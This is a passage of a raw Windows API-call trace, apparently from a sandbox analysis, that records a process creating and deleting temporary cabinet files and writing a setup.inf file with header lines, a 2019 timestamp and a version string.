(_Block=0x2cdfa0) [0152.101] free (_Block=0x2b6b80) [0152.101] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\e3d6.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48 [0152.101] GetLastError () returned 0x0 [0152.101] _open_osfhandle (_OSFileHandle=0x48, _Flags=33666) returned 6 [0152.102] malloc (_Size=0x8) returned 0x2b7090 [0152.102] _write (in: _FileHandle=6, _Buf=0x2cf990*, _MaxCharCount=0x24 | out: _Buf=0x2cf990*) returned 36 [0152.102] _lseek (_FileHandle=11, _Offset=0, _Origin=0) returned 0 [0152.102] _read (in: _FileHandle=11, _DstBuf=0x2b7090, _MaxCharCount=0x8 | out: _DstBuf=0x2b7090*) returned 8 [0152.102] _write (in: _FileHandle=6, _Buf=0x2b7090*, _MaxCharCount=0x8 | out: _Buf=0x2b7090*) returned 8 [0152.102] _read (in: _FileHandle=11, _DstBuf=0x2b7090, _MaxCharCount=0x8 | out: _DstBuf=0x2b7090) returned 0 [0152.102] _errno () returned 0x2b4bb0 [0152.102] malloc (_Size=0x8000) returned 0x323350 [0152.102] _lseek (_FileHandle=10, _Offset=0, _Origin=0) returned 0 [0152.103] _read (in: _FileHandle=10, _DstBuf=0x323350, _MaxCharCount=0x8000 | out: _DstBuf=0x323350*) returned 25 [0152.103] _errno () returned 0x2b4bb0 [0152.103] _write (in: _FileHandle=6, _Buf=0x323350*, _MaxCharCount=0x19 | out: _Buf=0x323350*) returned 25 [0152.103] _vsnprintf (in: _DstBuf=0xdeda0, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xdecf8 | out: _DstBuf=" 0.22") returned 6 [0152.103] printf (_Format="%s%s\r") returned 34 [0152.114] _read (in: _FileHandle=10, _DstBuf=0x323350, _MaxCharCount=0x8000 | out: _DstBuf=0x323350) returned 0 [0152.114] _errno () returned 0x2b4bb0 [0152.114] free (_Block=0x323350) [0152.114] malloc (_Size=0x8000) returned 0x323350 [0152.114] _lseek (_FileHandle=9, _Offset=0, _Origin=0) returned 0 [0152.114] _read (in: _FileHandle=9, _DstBuf=0x323350, _MaxCharCount=0x8000 | out: _DstBuf=0x323350*) returned 11382 [0152.114] _errno () returned 0x2b4bb0 [0152.114] _write (in: _FileHandle=6, _Buf=0x323350*, _MaxCharCount=0x2c76 | out: _Buf=0x323350*) returned 11382 [0152.115] _vsnprintf (in: _DstBuf=0xdeda0, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xdecf8 | out: _DstBuf="100.00") returned 6 [0152.115] printf (_Format="%s%s\r") returned 34 [0152.126] _read (in: _FileHandle=9, _DstBuf=0x323350, _MaxCharCount=0x8000 | out: _DstBuf=0x323350) returned 0 [0152.127] _errno () returned 0x2b4bb0 [0152.127] free (_Block=0x323350) [0152.127] _lseek (_FileHandle=6, _Offset=0, _Origin=2) returned 11451 [0152.127] _lseek (_FileHandle=6, _Offset=0, _Origin=0) returned 0 [0152.127] _write (in: _FileHandle=6, _Buf=0x2cf990*, _MaxCharCount=0x4 | out: _Buf=0x2cf990*) returned 4 [0152.127] _close (_FileHandle=6) returned 0 [0152.127] _close (_FileHandle=9) returned 0 [0152.128] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_7") returned 0 [0152.129] _close (_FileHandle=10) returned 0 [0152.129] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_8") returned 0 [0152.130] _close (_FileHandle=11) returned 0 [0152.130] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_9") returned 0 [0152.131] GetCurrentProcessId () returned 0x850 [0152.131] _vsnprintf (in: _DstBuf=0xdf013, _MaxCount=0xa, _Format="_%u_", _ArgList=0xdf008 | out: _DstBuf="_2128_") returned 6 [0152.131] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_12" [0152.131] free (_Block=0x2baf30) [0152.131] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_12" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_12"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0152.131] GetLastError () returned 0x0 [0152.131] _open_osfhandle (_OSFileHandle=0x5c, _Flags=34178) returned 6 [0152.131] GetCurrentProcessId () returned 0x850 [0152.132] _vsnprintf (in: _DstBuf=0xdf013, _MaxCount=0xa, _Format="_%u_", _ArgList=0xdf008 | out: _DstBuf="_2128_") returned 6 [0152.132] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_13" [0152.132] free (_Block=0x2baf30) [0152.132] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_13" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_13"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0152.132] GetLastError () returned 0x0 [0152.132] _open_osfhandle (_OSFileHandle=0x58, _Flags=34178) returned 7 [0152.132] GetCurrentProcessId () returned 0x850 [0152.132] _vsnprintf (in: _DstBuf=0xdf013, _MaxCount=0xa, _Format="_%u_", _ArgList=0xdf008 | out: _DstBuf="_2128_") returned 6 [0152.132] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_14" [0152.132] free (_Block=0x2baf30) [0152.132] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_14" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_14"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x54 [0152.133] GetLastError () returned 0x0 [0152.133] _open_osfhandle (_OSFileHandle=0x54, _Flags=34178) returned 8 [0152.133] free (_Block=0x2b7090) [0152.133] free (_Block=0x2d31b0) [0152.133] free (_Block=0x2db1c0) [0152.134] free (_Block=0x2e31d0) [0152.134] free (_Block=0x2f31e0) [0152.134] free (_Block=0x3031f0) [0152.134] free (_Block=0x2d01f0) [0152.134] free (_Block=0x2b9290) [0152.134] free (_Block=0x313320) [0152.134] free (_Block=0x31b340) [0152.134] _close (_FileHandle=12) returned 0 [0152.134] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_10") returned 0 [0152.134] _close (_FileHandle=13) returned 0 [0152.134] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_11") returned 0 [0152.134] free (_Block=0x2b8fd0) [0152.134] _close (_FileHandle=6) returned 0 [0152.134] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_12") returned 0 [0152.135] _close (_FileHandle=7) returned 0 [0152.135] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_13") returned 0 [0152.135] _close (_FileHandle=8) returned 0 [0152.135] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_14") returned 0 [0152.135] free (_Block=0x2cefb0) [0152.135] free (_Block=0x2bd450) [0152.135] clock () returned 0x1b4 [0152.135] time (in: timer=0xdf300 | out: timer=0xdf300) returned 0x5cfd209c [0152.135] _strcmpi (_Str1="Cabinet", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="ClusterSize", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="Compress", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="CompressionType", _Str2="InfFileName") returned -6 [0152.135] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileName") returned -6 [0152.136] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileName") returned -6 [0152.136] _strcmpi (_Str1="DestinationDir", _Str2="InfFileName") returned -5 [0152.136] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileName") returned -5 [0152.136] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileName") returned -5 [0152.136] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileName") returned -5 [0152.136] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileName") returned -3 [0152.136] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileName") returned -3 [0152.136] _strcmpi (_Str1="GenerateInf", _Str2="InfFileName") returned -2 [0152.136] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileName") returned -3 [0152.136] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileName") returned -3 [0152.136] _strcmpi (_Str1="InfCommentString", _Str2="InfFileName") returned -3 [0152.136] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileName") returned -2 [0152.136] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileName") returned -2 [0152.136] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileName") returned -2 [0152.136] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileName") returned -6 [0152.136] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileName") returned -2 [0152.136] _strcmpi (_Str1="InfFileName", _Str2="InfFileName") returned 0 [0152.136] fclose (in: _File=0x7fefd702b10 | out: _File=0x7fefd702b10) returned 0 [0152.137] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0152.138] fclose (in: _File=0x7fefd702b70 | out: _File=0x7fefd702b70) returned 0 [0152.157] fopen (_Filename="setup.inf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\setup.inf"), _Mode="wb") returned 0x7fefd702b10 [0152.158] _strcmpi (_Str1="Cabinet", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="ClusterSize", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="Compress", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="CompressionType", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="CompressionLevel", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="CompressionMemory", _Str2="InfCommentString") returned -6 [0152.158] _strcmpi (_Str1="DestinationDir", _Str2="InfCommentString") returned -5 [0152.158] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCommentString") returned -5 [0152.158] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCommentString") returned -5 [0152.158] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCommentString") returned -5 [0152.158] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCommentString") returned -3 [0152.158] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCommentString") returned -3 [0152.158] _strcmpi (_Str1="GenerateInf", _Str2="InfCommentString") returned -2 [0152.158] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCommentString") returned -14 [0152.158] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCommentString") returned -14 [0152.158] _strcmpi (_Str1="InfCommentString", _Str2="InfCommentString") returned 0 [0152.158] ctime (param_1=0xdf300) returned="Sun Jun 09 15:07:08 2019\n" [0152.158] _strcmpi (_Str1="Cabinet", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="Compress", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="CompressionType", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader") returned -6 [0152.158] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader") returned -5 [0152.158] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader") returned -5 [0152.158] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader") returned -5 [0152.158] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader") returned -5 [0152.158] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader") returned -3 [0152.158] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader") returned -3 [0152.159] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader") returned -5 [0152.159] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader") returned -5 [0152.159] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader") returned -5 [0152.159] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader") returned -4 [0152.159] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader") returned -4 [0152.159] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader") returned -4 [0152.159] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFileName", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFooter", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader") returned -2 [0152.159] _strcmpi (_Str1="InfHeader", _Str2="InfHeader") returned 0 [0152.159] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.159] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.159] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader1") returned 10 [0152.159] _strcmpi (_Str1="Cabinet", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="Compress", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="CompressionType", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader1") returned -6 [0152.159] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader1") returned -3 [0152.159] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader1") returned -3 [0152.159] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader1") returned -2 [0152.159] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader1") returned -5 [0152.159] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader1") returned -4 [0152.159] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader1") returned -4 [0152.159] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader1") returned -4 [0152.160] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFileName", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFooter", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader1") returned -2 [0152.160] _strcmpi (_Str1="InfHeader", _Str2="InfHeader1") returned -49 [0152.160] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader1") returned 0 [0152.160] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.160] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.160] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader2") returned 10 [0152.160] _strcmpi (_Str1="Cabinet", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="Compress", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="CompressionType", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader2") returned -6 [0152.160] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader2") returned -3 [0152.160] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader2") returned -3 [0152.160] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader2") returned -5 [0152.160] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader2") returned -4 [0152.160] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader2") returned -4 [0152.160] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader2") returned -4 [0152.160] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfFileName", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfFooter", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader2") returned -2 [0152.160] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader2") returned -2 [0152.161] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader2") returned -2 [0152.161] _strcmpi (_Str1="InfHeader", _Str2="InfHeader2") returned -50 [0152.161] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader2") returned -1 [0152.161] _strcmpi (_Str1="InfHeader2", _Str2="InfHeader2") returned 0 [0152.161] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.161] _vsnprintf (in: _DstBuf=0xdee17, _MaxCount=0x1f8, _Format="%s", _ArgList=0xded68 | out: _DstBuf="Sun Jun 09 15:07:08 2019") returned 24 [0152.161] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.161] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader3") returned 10 [0152.161] _strcmpi (_Str1="Cabinet", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="Compress", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="CompressionType", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader3") returned -6 [0152.161] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader3") returned -3 [0152.161] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader3") returned -3 [0152.161] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader3") returned -5 [0152.161] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader3") returned -4 [0152.161] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader3") returned -4 [0152.161] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader3") returned -4 [0152.161] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFileName", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFooter", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader3") returned -2 [0152.161] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader3") returned -2 [0152.162] _strcmpi (_Str1="InfHeader", _Str2="InfHeader3") returned -51 [0152.162] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader3") returned -2 [0152.162] _strcmpi (_Str1="InfHeader2", _Str2="InfHeader3") returned -1 [0152.162] _strcmpi (_Str1="InfHeader3", _Str2="InfHeader3") returned 0 [0152.162] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.162] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0152.162] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0xdef58 | out: _DstBuf="InfHeader4") returned 10 [0152.162] _strcmpi (_Str1="Cabinet", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="Compress", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="CompressionType", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader4") returned -6 [0152.162] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader4") returned -3 [0152.162] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader4") returned -3 [0152.162] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader4") returned -5 [0152.162] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader4") returned -4 [0152.162] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader4") returned -4 [0152.162] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader4") returned -4 [0152.162] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFileName", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFooter", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader4") returned -2 [0152.162] _strcmpi (_Str1="InfHeader", _Str2="InfHeader4") returned -52 [0152.162] _strcmpi (_Str1="InfHeader1", _Str2="InfHeader4") returned -3 [0152.162] _strcmpi (_Str1="InfHeader2", _Str2="InfHeader4") returned -2 [0152.163] _strcmpi (_Str1="InfHeader3", _Str2="InfHeader4") returned -1 [0152.163] _strcmpi (_Str1="InfHeader4", _Str2="InfHeader4") returned 0 [0152.163] _vsnprintf (in: _DstBuf=0xdee10, _MaxCount=0x1ff, _Format="%s", _ArgList=0xded68 | out: _DstBuf=";") returned 1 [0152.163] _vsnprintf (in: _DstBuf=0xdee17, _MaxCount=0x1f8, _Format="%s", _ArgList=0xded68 | out: _DstBuf="Sun Jun 09 15:07:08 2019") returned 24 [0152.163] _vsnprintf (in: _DstBuf=0xdee31, _MaxCount=0x1de, _Format="%s", _ArgList=0xded68 | out: _DstBuf="6.1.7600.16385") returned 14 [0152.163] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 72 [0152.163] _vsnprintf (in: _DstBuf=0xdf100, _MaxCount=0x1f, 